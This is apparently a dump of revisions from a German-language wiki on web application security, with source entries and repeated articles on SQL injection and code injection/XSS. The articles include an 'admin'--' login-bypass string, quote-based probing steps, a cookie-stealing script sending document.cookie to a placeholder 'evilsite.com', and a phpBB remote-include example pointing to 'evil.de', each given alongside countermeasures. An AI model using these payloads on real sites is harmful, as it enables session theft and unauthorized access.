title = Sicherheit im Internet|
subtitle = |
volume = |
number = |
edition = 2. Auflage|
series = |
month = |
year = 1999|
publisher = Vieweg Verlag|
address = |
isbn = 3-8266-4024-1|
url = |
shelfmark = |
annotations = |
}}
[[Kategorie:Quelle:Sicherheit]]

Rütten, C.; Glemser, T. (2006): Gesundes Misstrauen

2007-06-27T13:27:18Z

Jkonrad:

{{Quelle:Artikel
| key = Rütten, Glemser (2006)
| authors = Christiane Rütten, Tobias Glemser
| title = Gesundes Misstrauen
| subtitle = Sicherheit von Webanwendungen
| journal = C't
| volume =
| number = 26
| pages = 234ff
| day =
| month =
| year = 2006
| publisher =
| address =
| issn =
| url = http://www.heise.de/ct/06/26/006/
| annotations = Ein 6 Seitiger Artikel.
}}

[[Kategorie:Quelle:Sicherheit]]

Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore

2007-06-27T13:26:24Z

Jkonrad:

{{Quelle:Artikel
| key = B. Sullivan
| authors = Bryan Sullivan
| title = Malicious Code Injection: It's Not Just for SQL Anymore.
| subtitle =
| journal = http://www.spidynamics.com/spilabs/education/articles
| volume =
| number =
| pages =
| day =
| month =
| year =
| publisher =
| address =
| issn =
| url = http://www.spidynamics.com/spilabs/education/articles/coede-injection.html
| annotations = Ein kurzer Artikel in englischer Sprache, der in HTML zur Verfügung steht.
}}
[[Kategorie:Quelle:Sicherheit]]

Sima, C. (2006): Locking the Door Behind You: Hacker Protection for Your Web Applications

2007-06-27T13:25:01Z

Jkonrad:

{{Quelle:Artikel
| key = C. Sima
| authors = Caleb Sima
| title = Locking the Door Behind You: Hacker Protection for Your Web Applications.
| subtitle =
| journal = http://www.spidynamics.com/spilabs/education/articles
| volume =
| number =
| pages =
| day =
| month =
| year =
| publisher =
| address =
| issn =
| url = http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html
| annotations = Ein kurzer Artikel in englischer Sprache, der in HTML zur Verfügung steht.
}}

[[Kategorie:Quelle:Sicherheit]]

XSS

2007-06-25T19:50:52Z

Jkonrad: Weiterleitung nach Cross Site Scripting

#REDIRECT [[Cross Site Scripting]]

XSS

2007-06-25T19:47:18Z

Jkonrad:

Siehe [[Cross Site Scripting]].

SQL Injection

2007-06-25T15:56:22Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht. 

Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die
Parameter einer URL an die Webseite weitergereicht werden. 

=Beispiel=
Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.

SELECT * FROM users WHERE name ='$username' AND password ='$password'

In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden: 
"admin'--" 
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus: 

SELECT * FROM users WHERE name ='admin'--' AND password ='beliebig'. 

Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch 

SELECT * FROM users WHERE name ='admin' 

verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten. 
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform
so einen passwortlosen Zugang erlaubte. 

=Durchführung=

Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe
mit den Endungen ".asp" und ".cmf" gesucht, da hier die meisten Probleme zu erwarten sind [9]. Um die Anfälligkeit der so
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden). 

Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über
die Zahl 512

Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so
aussieht: „name=val’ue“.
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt
aussehen:

Fehlermeldungsart 1:

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string

’51 ORDER BY some_name’.

/some_directory/some_file.asp, line 5

Fehlermeldungsart 2:

ODBC Error Code = S1000 (General error)

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended

Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte
Anwendung für SQL-Injection zugänglich ist.

Beispiel nach [7].

=Gegenmaßnahmen=

SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und
[[Prepared statements]]. 
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer
Seite auf Schwachstellen testet. 
(Weitere Tools dieser Art können bei www.astalavista.com gefunden werden.) 

Da der Mensch allerdings gerade bei destruktiven Aufgaben weit
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind
in im weiterführenden Link zu finden. 

Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -
das gilt auch für die Variablen in den URLs! 

Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden. 

Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde. 

Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine
Vermischung dieser beiden Filterarten ist möglich. 

=weiterführender Link=
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015]] Beispielliste mit sicheren
Datenbankabfragen in unterschiedlichen Programmiersprachen.

=Quellen=

[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners 
[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com 
[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html 
[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion 
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885 
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html 
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html 
[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015 
[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 
[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 

=Siehe auch=

*[[Cross Site Scripting]] 
*[[Codeinjection]] 
*[[Whitelisting]] 
*[[Blacklisting]] 
*[[Stored procedures]] 
*[[Prepared statements]] 

[[Kategorie:Sicherheit]]

Code Injection

2007-06-25T15:14:34Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen. 

Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt. 

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden. 

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
verwendet werden. 

=Beispiel: Stehlen eines Cookies=

Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit 
setcookie("xss" , "This content will be stored in a cookie" ); 
ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld). 

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen: 

<scrpt>document.location="http://www.evilsite.com/evilscript.php?
info="+document.cookie;</script> 

Anschließend wird im Browser, der folgende Link angezeigt: 

http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie 

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind. 

=Beispiel: Umleitung einer Seite=
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt. 

Mit der Anweisung 
include_once($phpbb_root_path=’common.php’) 
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“ : 
/plugin.php&phpbb_root_path=http://evil.de 

Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt
wurde. 
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten. 

=Gängige Vertreter=
[[SQL Injection]], wird am häufigsten eingesetzt 
[[LDAP Injection]] 
[[SSI Injection]] 
[[XPath Injection]] 

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.
ckers.org/xss.html 
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885 
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html 
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html 
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8 
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8 
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1 
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998 
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X 
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 

=Siehe auch=

*[[Cross Site Scripting]] 
*[[Whitelisting]] 
*[[Blacklisting]] 

[[Kategorie:Sicherheit]]

SQL Injection

2007-06-25T15:13:51Z

Jkonrad:

{{In Bearbeitung}}

=Definition=
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht. 

Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die
Parameter einer URL an die Webseite weitergereicht werden. 

=Beispiel=
Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.

SELECT * FROM users WHERE name ='$username' AND password ='$password'

In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden: 
"admin'--" 
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus: 

SELECT * FROM users WHERE name ='admin'--' AND password ='beliebig'. 

Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch 

SELECT * FROM users WHERE name ='admin' 

verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten. 
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform
so einen passwortlosen Zugang erlaubte. 

=How to=

Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe
mit den Endungen ".asp" und ".cmf" gesucht, da hier die meisten Probleme zu erwarten sind [9]. Um die Anfälligkeit der so
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden). 

Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über
die Zahl 512

Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so
aussieht: „name=val’ue“.
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt
aussehen:

Fehlermeldungsart 1:

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string

’51 ORDER BY some_name’.

/some_directory/some_file.asp, line 5

Fehlermeldungsart 2:

ODBC Error Code = S1000 (General error)

[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended

Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte
Anwendung für SQL-Injection zugänglich ist.

Beispiel nach [7].

=Gegenmaßnahmen=

SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und
[[Prepared statements]]. 
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer
Seite auf Schwachstellen testet. 
(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.) 

Da der Mensch allerdings gerade bei destruktiven Aufgaben weit
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind
in im weiterführenden Link zu finden. 

Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -
das gilt auch für die Variablen in den URLs! 

Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden. 

Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde. 

Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine
Vermischung dieser beiden Filterarten ist möglich. 

=weiterführender Link=
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015]] Beispielliste mit sicheren
Datenbankabfragen in unterschiedlichen Programmiersprachen.

=Quellen=

[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners 
[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com 
[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html 
[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion 
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885 
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html 
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html 
[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&diff=33184377&oldid=32572015 
[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 
[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 

=Siehe auch=

*[[Cross Site Scripting]] 
*[[Codeinjection]] 
*[[Whitelisting]] 
*[[Blacklisting]] 
*[[Stored procedures]] 
*[[Prepared statements]] 

[[Kategorie:Sicherheit]]

Code Injection

2007-06-25T15:11:08Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen. 

Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt. 

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden. 

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
verwendet werden. 

=Beispiel: Stehlen eines Cookies=

Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit 
setcookie("xss" , "This content will be stored in a cookie" ); 
ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld). 

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen: 

<scrpt>document.location="http://www.evilsite.com/evilscript.php?
info="+document.cookie;</script> 

Anschließend wird im Browser, der folgende Link angezeigt: 

http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie 

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind. 

=Beispiel: Umleitung einer Seite=
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt. 

Mit der Anweisung 
include_once($phpbb_root_path=’common.php’) 
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“ : 
/plugin.php&phpbb_root_path=http://evil.de 

Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt
wurde. 
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten. 

=Gängige Vertreter=
[[SQL Injection]], wird am häufigsten eingesetzt 
[[LDAP Injection]] 
[[SSI Injection]] 
[[XPath Injection]] 

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.
ckers.org/xss.html 
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885 
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html 
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html 
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.
C’t 2006, Heft 26, S. 234ff 
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8 
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8 
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1 
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998 
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.
-ISBN 3-540-63391-X 
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin
2007, Heft 1, S. 20ff 

=Siehe auch=

*[[Cross Site Scripting]]

[[Whitelisting]]

[[Blacklisting]]

[[Kategorie:Sicherheit]]

Code Injection

2007-06-25T15:10:28Z

Jkonrad:

{{In Bearbeitung}}

=Definition=

Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen. 

Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt. 

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden. 

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
verwendet werden. 

=Beispiel: Stehlen eines Cookies=

Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit 
setcookie("xss" , "This content will be stored in a cookie" ); 
ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld). 

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen: 
<scrpt>document.location="http://www.evilsite.com/evilscript.php?
info="+document.cookie;</script> 

Anschließend wird im Browser, der folgende Link angezeigt: 

http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie 

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind. 

=Beispiel: Umleitung einer Seite=
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt. 

Mit der Anweisung 
include_once($phpbb_root_path=’common.php’) 
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“ : 
/plugin.php&phpbb_root_path=http://evil.de 

Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt
wurde. 
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten. 

=Gängige Vertreter=
[[SQL Injection]], wird am häufigsten eingesetzt 
[[LDAP Injection]] 
[[SSI Injection]] 
[[XPath Injection]] 

=Quellen=

[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.
ckers.org/xss.html 
